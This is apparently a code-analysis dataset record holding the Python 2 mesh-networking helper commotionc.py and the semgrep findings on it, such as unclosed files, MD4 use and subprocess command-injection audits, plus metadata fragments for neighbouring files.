"V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 76 ]
[ 76 ]
[ 13 ]
[ 31 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
extract_csomes.py
/bin/extract_csomes.py
fennerm/fmbiopy
MIT
2024-11-18T21:51:49.336285+00:00
1,381,505,116,000
90415c8696166bb4e7b269b1e83044ed342dd8b6
2
{ "blob_id": "90415c8696166bb4e7b269b1e83044ed342dd8b6", "branch_name": "refs/heads/master", "committer_date": 1381505116000, "content_id": "d21bb4d91026872f35290de7796641a9d5146354", "detected_licenses": [ "BSD-2-Clause" ], "directory_id": "9d40b89b33897bc3a84bc87744a345af9c9a8e20", "extension": "py", "filename": "commotionc.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7561, "license": "BSD-2-Clause", "license_type": "permissive", "path": "/commotionc.py", "provenance": "stack-edu-0054.json.gz:588805", "repo_name": "glamrock/commotion-linux-py", "revision_date": 1381505116000, "revision_id": "0c46e128ba07d56563374a99c6d5ef2ec1b805ff", "snapshot_id": "6e181d992373b4676d2b102251ce149ea9f6c239", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/glamrock/commotion-linux-py/0c46e128ba07d56563374a99c6d5ef2ec1b805ff/commotionc.py", "visit_date": "2021-01-15T17:14:15.781661" }
2.328125
stackv2
#/usr/bin/python import dbus.mainloop.glib ; dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) import glob import hashlib import os import pprint import pyjavaproperties import random import re import socket import struct import subprocess import tempfile import time class CommotionCore(): def __init__(self, f=None): self.olsrdconf = '/etc/olsrd/olsrd.conf' self.profiledir = '/etc/commotion/profiles.d/' if f: self.f = open(f, 'ab', 0) else: self.f = open('/tmp/commotion-core.log', 'ab') def _log(self, msg): self.f.write(msg + '\n') def _ip_string2int(self, s): "Convert dotted IPv4 address to integer." # first validate the IP try: socket.inet_aton(s) except socket.error: self._log('"' + s + '" is not a valid IP address!') return return reduce(lambda a,b: a<<8 | b, map(int, s.split("."))) def _ip_int2string(self, ip): "Convert 32-bit integer to dotted IPv4 address." return ".".join(map(lambda n: str(ip>>n & 0xFF), [24,16,8,0])) def _get_net_size(self, netmask): # after bin(), remove the 0b prefix, strip the 0s and count the 1s binary_str = bin(self._ip_string2int(netmask))[2:] return str(len(binary_str.rstrip('0'))) def _generate_ip(self, ip, netmask): ipint = self._ip_string2int(ip) netmaskint = self._ip_string2int(netmask) return self._ip_int2string((random.randint(0, 2147483648) & ~netmaskint) + ipint) def readProfile(self, profname): f = os.path.join(self.profiledir, profname + '.profile') p = pyjavaproperties.Properties() p.load(open(f)) profile = dict() profile['filename'] = f profile['mtime'] = os.path.getmtime(f) for k,v in p.items(): profile[k] = v for param in ('ssid', 'channel', 'ip', 'netmask', 'dns', 'ipgenerate'): ##Also validate ip, dns, bssid, channel? if param not in profile: self._log('Error in ' + f + ': missing or malformed ' + param + ' option') ## And raise some sort of error? if profile['ipgenerate'] in ('True', 'true', 'Yes', 'yes', '1'): # and not profile['randomip'] profile['ip'] = self._generate_ip(profile['ip'], profile['netmask']) self.updateProfile(profname, {'ipgenerate': 'false', 'ip': profile['ip']}) if not 'bssid' in profile: #Include note in default config file that bssid parameter is allowed, but should almost never be used bssid = hashlib.new('md4', ssid).hexdigest()[-8:].upper() + '%02X' %int(profile['channel']) #or 'md5', [:8] profile['bssid'] = ':'.join(a+b for a,b in zip(bssid[::2], bssid[1::2])) conf = re.sub('(.*)\.profile', r'\1.conf', f) #TODO: this is now wrong if os.path.exists(conf): self._log('profile has custom olsrd.conf: "' + conf + '"') profile['conf'] = conf else: self._log('using built in olsrd.conf: "' + self.olsrdconf + '"') profile['conf'] = self.olsrdconf return profile def readProfiles(self): '''get all the available mesh profiles and return as a dict''' profiles = dict() self._log('\n----------------------------------------') self._log('Reading profiles:') for f in glob.glob(self.profiledir + '*.profile'): profname = os.path.split(re.sub('\.profile$', '', f))[1] self._log('reading profile: "' + f + '"') profile = self.readProfile(profname) self._log('adding "' + f + '" as profile "' + profile['ssid'] + '"') profiles[profile['ssid']] = profile return profiles def updateProfile(self, profname, params): fn = os.path.join(self.profiledir, profname + '.profile') if not os.access(fn, os.W_OK): self._log('Unable to write to ' + fn + ', so \"' + profname + '\" was not updated') return savedsettings = [] fd = open(fn, 'r') for line in fd: savedsettings.append(line) for param, value in params.iteritems(): if re.search('^' + param + '=', savedsettings[-1]): savedsettings[-1] = (param + '=' + value + '\n') break fd.close() fd = open(fn, 'w') for line in savedsettings: fd.write(line) fd.close() def startOlsrd(self, interface, conf): '''start the olsrd daemon''' self._log('start olsrd: ') cmd = ['/usr/sbin/olsrd', '-i', interface, '-f', conf] self._log(" ".join([x for x in cmd])) p = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if out: self._log('stdout: ' + out) if err: self._log('stderr: ' + err) def stopOlsrd(self): '''stop the olsrd daemon''' self._log('stop olsrd') cmd = ['/usr/bin/killall', '-v', 'olsrd'] self._log(" ".join([x for x in cmd])) p = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if out: self._log('stdout: ' + out) if err: self._log('stderr: ' + err) def _create_wpasupplicant_conf(self, profile, tmpfd): contents = [] contents.append('ap_scan=2\n') contents.append('network={\n') contents.append('\tmode=1\n') contents.append('\tssid' + '=' + '\"' + profile['ssid'] + '\"\n') contents.append('\tbssid' + '=' + profile['bssid'] + '\n') contents.append('\tfrequency' + '=' + str((int(profile['channel']))*5 + 2407) + '\n') if 'psk' in profile: contents.append('\tkey_mgmt=WPA-PSK' + '\n') contents.append('\tpsk' + '=' + '\"' + profile['psk'] + '\"\n') contents.append('}') for line in contents: tmpfd.write(line) def fallbackConnect(self, profileid): profile = self.readProfile(profileid) interface = subprocess.check_output(['iw', 'dev']).split() interface = interface[interface.index('Interface') + 1] ip = profile['ip'] self._log('Putting network manager to sleep:') if 'connected' in subprocess.check_output(['nmcli', 'nm', 'status']): #Connected in this context means "active," not just "connected to a network" print subprocess.check_call(['/usr/bin/nmcli', 'nm', 'sleep', 'true']) print subprocess.check_call(['/usr/bin/pkill', '-9', 'wpa_supplicant']) print subprocess.check_call(['/sbin/ifconfig', interface, 'down']) time.sleep(2) ##Check for existance of replacement binary self._log('Starting replacement wpa_supplicant with profile ' + profileid + ', interface ' + interface + ', and ip address ' + ip + '.') wpasupplicantconf = tempfile.NamedTemporaryFile('w+b', 0) self._create_wpasupplicant_conf(profile, wpasupplicantconf) subprocess.Popen(['/usr/bin/commotion_wpa_supplicant', '-Dnl80211', '-i' + interface, '-c' + wpasupplicantconf.name]) time.sleep(2) wpasupplicantconf.close() self.startOlsrd(interface, profile['conf']) time.sleep(2) print subprocess.check_call(['/sbin/ifconfig', interface, 'up', ip, 'netmask', '255.0.0.0'])
182
40.54
154
20
1,935
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_22ed3df8a2da7a3a_ae8464b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 23, "line_end": 23, "column_start": 13, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 23, "col": 13, "offset": 460}, "end": {"line": 23, "col": 38, "offset": 485}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_22ed3df8a2da7a3a_f3ace30a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 13, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 25, "col": 13, "offset": 512}, "end": {"line": 25, "col": 59, "offset": 558}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.hardcoded-tmp-path_22ed3df8a2da7a3a_a132f0f9", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 25, "line_end": 25, "column_start": 22, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.hardcoded-tmp-path", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 25, "col": 22, "offset": 521}, "end": {"line": 25, "col": 59, "offset": 558}, "extra": {"message": "Detected hardcoded temp directory. Consider using 'tempfile.TemporaryFile' instead.", "metadata": {"references": ["https://docs.python.org/3/library/tempfile.html#tempfile.TemporaryFile"], "category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_22ed3df8a2da7a3a_b2dd9b00", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 58, "column_start": 16, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 58, "col": 16, "offset": 1726}, "end": {"line": 58, "col": 23, "offset": 1733}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.insecure-hash-function_22ed3df8a2da7a3a_9924a089", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-function", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 71, "line_end": 71, "column_start": 21, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://tools.ietf.org/html/rfc6151", "title": null}, {"url": "https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.insecure-hash-function", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 71, "col": 21, "offset": 2606}, "end": {"line": 71, "col": 45, "offset": 2630}, "extra": {"message": "Detected use of an insecure MD4 or MD5 hash function. These functions have known vulnerabilities and are considered deprecated. Consider using 'SHA256' or a similar function instead.", "metadata": {"cwe": ["CWE-327: Use of a Broken or Risky Cryptographic Algorithm"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A02:2021 - Cryptographic Failures", "A04:2025 - Cryptographic Failures"], "source-rule-url": "https://github.com/PyCQA/bandit/blob/b1411bfb43795d3ffd268bef17a839dee954c2b1/bandit/plugins/hashlib_new_insecure_functions.py", "asvs": {"control_id": "6.2.2 Insecure Custom Algorithm", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x14-V6-Cryptography.md#v62-algorithms", "section": "V6 Stored Cryptography Verification Requirements", "version": "4"}, "references": ["https://tools.ietf.org/html/rfc6151", "https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision", "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_22ed3df8a2da7a3a_b66a6143", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 104, "line_end": 104, "column_start": 14, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 104, "col": 14, "offset": 4092}, "end": {"line": 104, "col": 27, "offset": 4105}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_22ed3df8a2da7a3a_7a91ab46", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 112, "column_start": 14, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 112, "col": 14, "offset": 4416}, "end": {"line": 112, "col": 27, "offset": 4429}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.writing-to-file-in-read-mode_22ed3df8a2da7a3a_05499cce", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "The file object 'fd' was opened in read mode, but is being written to. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 114, "line_end": 114, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 114, "col": 13, "offset": 4477}, "end": {"line": 114, "col": 27, "offset": 4491}, "extra": {"message": "The file object 'fd' was opened in read mode, but is being written to. This will cause a runtime error.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_22ed3df8a2da7a3a_69320e5c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 123, "line_end": 124, "column_start": 13, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 123, "col": 13, "offset": 4749}, "end": {"line": 124, "col": 53, "offset": 4860}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_22ed3df8a2da7a3a_536476e0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 137, "line_end": 138, "column_start": 13, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 137, "col": 13, "offset": 5211}, "end": {"line": 138, "col": 53, "offset": 5322}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_22ed3df8a2da7a3a_c8a01752", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 171, "line_end": 171, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 171, "col": 9, "offset": 6858}, "end": {"line": 171, "col": 22, "offset": 6871}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-without-flush_22ed3df8a2da7a3a_8dc491af", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Using 'wpasupplicantconf.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'wpasupplicantconf.name' is used. Use '.flush()' or close the file before using 'wpasupplicantconf.name'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 176, "line_end": 176, "column_start": 102, "column_end": 124, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-without-flush", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 176, "col": 102, "offset": 7304}, "end": {"line": 176, "col": 124, "offset": 7326}, "extra": {"message": "Using 'wpasupplicantconf.name' without '.flush()' or '.close()' may cause an error because the file may not exist when 'wpasupplicantconf.name' is used. Use '.flush()' or close the file before using 'wpasupplicantconf.name'.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_22ed3df8a2da7a3a_a8c77650", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 177, "line_end": 177, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 177, "col": 9, "offset": 7337}, "end": {"line": 177, "col": 22, "offset": 7350}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_22ed3df8a2da7a3a_bd4cc369", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 180, "line_end": 180, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmp10dxl77l/22ed3df8a2da7a3a.py", "start": {"line": 180, "col": 9, "offset": 7445}, "end": {"line": 180, "col": 22, "offset": 7458}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
14
true
[ "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 123, 137 ]
[ 124, 138 ]
[ 13, 13 ]
[ 53, 53 ]
[ "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Detected subprocess funct...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
commotionc.py
/commotionc.py
glamrock/commotion-linux-py
BSD-2-Clause
2024-11-18T21:51:49.428707+00:00
1,683,817,018,000
e028add36292e959fca1d0e4e8a8f6fd0bf9ebbf
3
